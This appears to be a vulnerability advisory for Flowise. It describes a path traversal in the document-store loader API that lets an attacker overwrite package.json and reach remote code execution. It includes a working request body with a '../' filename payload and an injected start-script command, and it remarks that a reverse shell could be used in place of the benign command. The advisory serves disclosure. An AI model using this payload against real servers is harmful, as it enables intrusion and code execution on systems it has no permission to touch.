Flowise allows arbitrary file write to RCE
Summary
An attacker could write files with arbitrary content to the filesystem via the /api/v1/document-store/loader/process API.
An attacker can reach RCE(Remote Code Execution) via file writing.
Details
All file writing functions in [packages/components/src/storageUtils.ts](https://github.com/FlowiseAI/Flowise/blob/main/packages/components/src/storageUtils.ts) are vulnerable.
- addBase64FilesToStorage
- addArrayFilesToStorage
- addSingleFileToStorage
The fileName parameter, which is an untrusted external input, is being used as an argument to path.join() without verification.
```javascript
const filePath = path.join(dir, fileName)
fs.writeFileSync(filePath, bf)
```
Therefore, users can move to the parent folder via ../ and write files to any path.
Once file writing is possible in all paths, an attacker can reach RCE (Remote Code Execution) in a variety of ways.
In PoC (Proof of Concept), RCE was reached by overwriting package.json.
PoC
In PoC, package.json is overwritten.
This is a scenario in which arbitrary code is executed when pnpm start is executed by changing the start command in the scripts{} statement to an arbitrary value.
- original start command
````
"start": "run-script-os",
````
- modify start command
````
"start": "touch /tmp/pyozzi-poc && run-script-os",
````
When a user runs the pnpm start command, a pyozzi-poc file is created in the /tmp path.
1. package.json content base64 encoding
```json
{
"name": "flowise",
"version": "1.8.2",
"private": true,
"homepage": "https://flowiseai.com",
"workspaces": [
"packages/*",
"flowise",
"ui",
"components"
],
"scripts": {
"build": "turbo run build && echo poc",
"build-force": "pnpm clean && turbo run build --force",
"dev": "turbo run dev --parallel",
"start": "touch /tmp/pyozzi-poc && run-script-os", --> modify (add touch /tmp/pyozzi &&)
"start:windows": "cd packages/server/bin && run start",
"start:default": "cd packages/server/bin && ./run start",
"clean": "pnpm --filter \"./packages/**\" clean",
"nuke": "pnpm --filter \"./packages/**\" nuke && rimraf node_modules .turbo",
"format": "prettier --write \"**/*.{ts,tsx,md}\"",
"lint": "eslint \"**/*.{js,jsx,ts,tsx,json,md}\"",
"lint-fix": "pnpm lint --fix",
"quick": "pretty-quick --staged",
"postinstall": "husky install",
"migration:create": "pnpm typeorm migration:create"
}, ... skip
```
2. Overwrite package.json via /api/v1/document-store/loader/process
<img width="1329" alt="image" src="https://github.com/FlowiseAI/Flowise/assets/86613161/a548732d-4bee-4cd0-8565-54fb8e560500">
> Request Body
```json
{
"loaderId": "textFile",
"storeId": "c4b8a8fb-9eb6-47ae-9caa-7702ef8baabb",
"loaderName": "Text File",
"loaderConfig": {
"txtFile": "data:text/plain;BASE64_ENCODEING_CONTENT,filename:/../../../../../usr/src/package.json",
"textSplitter": "",
"metadata": "",
"omitMetadataKeys": ""
}
}
```
The part after filename: of the txtFile parameter is the value used as fileName in the function.
Add ../ to the filename value to move to the top path, then specify package.json in the project folder /usr/src/ as the path.
<img width="663" alt="image" src="https://github.com/FlowiseAI/Flowise/assets/86613161/13fdc756-f4d3-45f9-9929-fd978f532a02">
Afterwards, when the user starts the server (pnpm start), the added script will be executed. (touch /tmp/pyozzi-poc)
- starting server with touch /tmp/pyozzi-poc command
<img width="737" alt="image" src="https://github.com/FlowiseAI/Flowise/assets/86613161/341be379-43ca-4acc-9126-dc398475fcf3">
- /tmp/pyozzi-poc file created
<img width="751" alt="image" src="https://github.com/FlowiseAI/Flowise/assets/86613161/15707068-c000-4d59-972d-89d969c27087">
Impact
Remote Code Execution (RCE)
Although it is demonstrated here using the file creation command, you can obtain full server shell privileges by opening a reverse shell.
